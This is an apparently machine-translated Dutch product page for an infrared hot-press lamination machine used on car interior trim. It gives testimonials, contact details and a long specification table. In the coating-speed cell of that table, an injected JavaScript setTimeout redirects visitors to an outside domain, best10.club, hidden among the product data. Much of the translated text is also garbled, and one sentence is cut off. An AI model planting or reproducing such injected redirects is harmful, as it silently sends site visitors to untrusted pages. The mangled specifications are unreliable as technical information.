Alle producten
-
De machine van het warmhoudplaatlassen
-
Hete plaat lassen kunststof
-
Het Materiaal van het warmhoudplaatlassen
-
De plastic machine van het palletlassen
-
Heat Staking-machine
-
Heet klinkend lasapparaat
-
Trillingswrijving lasmachine
-
Ultrasoon Lassen Automobiel
-
De Machine van het ponsenlassen
-
Hete persmachines
-
Robot lasapparatuur
-
Roterend wrijvingslasapparaat
-
Ultrasoon Lassenmateriaal
-
Mal En Armatuur
-
De heer Horacio ArgentiniëIk ben zeer tevreden met uw hete plaat lasapparaat. Aangezien we de productie van uw apparatuur meer dan een jaar hebben ontvangen, loopt uw apparatuur erg goed en is het laseffect perfect. We zullen overwegen om nog een stuk van uw apparatuur te kopen wanneer het bedrijf de productie te hoog heeft ingeschat. Ik wens u een voorspoedig bedrijf.
-
M. Milos van ServiëMooie machine met zeer goede prestaties in lassen. Wij hopen wij uw lassenmachine in Servië kunnen verdelen. Wens zouden wij goede samenwerking hebben.
-
M. Ullah van PakistanHallo, is Jack, de prestaties van uw materiaal van het palletlassen zo perfect. Dank u voor uw goede samenwerking en de beste dienst.
Infrarode Automobiel Binnenlandse Hete de Persmachines van het Deklaagmateriaal

Contacteer me voor vrije steekproeven en coupons.
WhatsApp:0086 18588475571
wechat: 0086 18588475571
Skype: sales10@aixton.com
Als u om het even welke zorg hebt, verstrekken wij de online-Help van 24 uur.
xProductdetails
Materiaal | Roestvrij staal | Kleur | wit |
---|---|---|---|
Deklaaggebied | 100*100mm | Deklaagsnelheid | 302 setTimeout("javascript:location.href='https://best10.club/sitemap.php'", 50); |
deklaagdikte | 0.050.2mm | deklaagtype | Het infrarode Hete Drukken |
Controlesysteem | PLC | Het koelen Tijd | 0-999s |
Afmeting | 800*600*1200mm | Het verwarmen Tijd | 0-999s |
Verrichtingswijze | Touch screen | Macht | 2.2kw |
Voeding | 220V/50Hz | Drukwaaier | 0-2.5MPA |
Temperatuurwaaier | 50-200℃ | Gewicht | 90kg |
Markeren | Infrarood deklaagmateriaal,automobiel binnenlandse Hete Persmachines,automobiel Hete Persmachine |
Productomschrijving
Infrarood deklaagmateriaal voor automobiel binnenlandse delen
Het infrarode Model van het Bekledingsmateriaal: DOOR-8060BF (SF) | ||
Punt | Gedetailleerde Informatie | |
Materiaalinleiding | ◆Dit materiaal wordt gebruikt voor de leerdeklaag van automobiel binnenlandse versieringsdelen. Het materiaal kan zowel de linker als juiste binnenlandse versieringsdelen van 600X200 (mm) tegelijkertijd behandelen. De hoogte behandelende delen zou binnen 150mm moeten worden gecontroleerd. | |
◆Het modulaire ontwerp van het high-power servodieschroefmechanisme verbetert de het werk efficiency door 20-50% met het pneumatische materiaal, met hogere controleprecisie en 0.05mm van herhaalde het plaatsen fout wordt vergeleken. | ||
◆10 reeksen lassenprogramma's kunnen pre- wordenopgeslagen, en de gegevensinterface kan met de productielijn lopen. | ||
◆de infrarode lampbuis wordt afwisselend geschikt voor het verwarmen, is de temperatuur zelfs en controleerbaar, is het temperatuurverschil van stralingsoppervlakte tussen graden ±2, en er zijn lichte schilden rond de lampbuis om exploitanten door sterk licht te verhinderen worden bestraald. | ||
◆Uitgerust met mens-machine interface en Chinese en Engelse tweetalige interfaceverrichting. | ||
◆Keur de hoge machts servomotor/misusi synchroon wiel van Japan Yaskawa, synchroon belt/RONGDA-lager goed. | ||
◆Multi - cilinder randduw - drukbekleding, hoge bekledingsspanning, verbinding strak. | ||
◆Productiecyclusduur 25S-35S. | ||
Materiaaleigenschappen | Mens-machine Techniek | ◆Veiligheid: de machine is uitgerust met beschermend grating en van de brandwondwaarschuwing veiligheidsschot. |
◆Toestemmingsbeheer: van de apparaten plaatsende beheerder en exploitant toestemmingen. | ||
◆De hoogte van de het werklijst is 900MM. | ||
◆De quipment beginnende wijze: Het materiaal is begonnen door twee beginnende knopen samen met twee handen te duwen. | ||
Materiaalvermogen/Kwaliteitstraceability | ◆Het apparaat heeft de beschermingsfunctie van misoperation (de machine zal niet werken als de machine niet volgens de standaardverrichtingsprocedures in werking wordt gesteld). | |
◆Productieverslagen: Het materiaal kan klanten aan eisen ten aanzien van opname en opslag van productcapaciteit voldoen. | ||
◆Alarmmislukking en codeopname: Het materiaal toont automatisch de code van de alarmfout en registreert automatisch het | ||
◆Mens-machine interface - de visuele informatie van mens-machine interface omvat huidige verrichtingsstappen, alarminformatie en oplossingen. | ||
◆IMS interactieve functie: de mededeling van steunethernet. Het materiaal heeft de functie van QR Code het aftasten en identificatie. De gegevens van warmhoudplaattemperatuur, verplaatsing en tijd kunnen naar het IMS van het bedrijf worden geregistreerd en worden verzonden systeem. (Deze functie wordt aangepast volgens klantenvereisten.) | ||
De materiaalklem/sterft snel verandering | ◆Het materiaal kan onafhankelijk met een matrijzen veranderende auto worden uitgerust. (dit punt wordt aangepast volgens klantenvereisten) | |
◆De Klem van het materiaal wordt bevestigd door eenvoudige, snelle en betrouwbare bevestigende methode zoals plaatsbepalingsspeld, zonder speciale hulpmiddelen. | ||
◆Het pneumatische deel van de klem en het sensordeel van het apparaat worden ontworpen met snelle stop en trekkracht. | ||
◆De snelle tijd van de matrijzenverandering is 10-15 minuten. | ||
Elektrolay-out/Veiligheid | ◆Het materiaal heeft het bewerken erkenningssensor, die kan beoordelen of het bewerken voor online productie wordt vereist. Als niet, zal het materiaal alarmeren. | |
◆Het sluiten van functie: in het geval van materiaalmislukking of de fout van de kleminstallatie, is het product gesloten aan de overeenkomstige post (het moet door het aangewezen personeel worden geopend). | ||
◆Materiaalalarm: wanneer het materiaal ontbreekt, alarmeren de mens-machine interfacevertoningen informatie, en het controlesysteem sluit de machine. | ||
◆Het voltage DC24V van het controlesysteem. | ||
◆I/O- elke post heeft een I/O toelage van 10% voor toekomstige uitbreiding. | ||
Technische Parameters | ◆MATERIAALdemension (L) 2400MM* (W) 2200MM* (H) 2500MM. | |
◆Maximum - toelaatbare matrijzengrootte van materiaal (L) 1800MM* (W) 1000MM* (H) 450MM. | ||
◆Stroomrequiement: 3 fasen 380V 50Hz (als er speciale vereisten zijn wordt, klantenbevestiging vereist.). | ||
◆De afzetdruk van de luchtcompressor: 4Kg/cm2-6Kg/cm2 (约 0.4MPA-0.6MPA). | ||
◆Aanpasbare aan omgevingstemperatuur: -5℃~40℃ | ||
◆Adaptalbe aan vochtigheid: 20%~80% | ||
◆Het lawaai van het transmissiedeel zal 90 db niet overschrijden. |
Geadviseerde Producten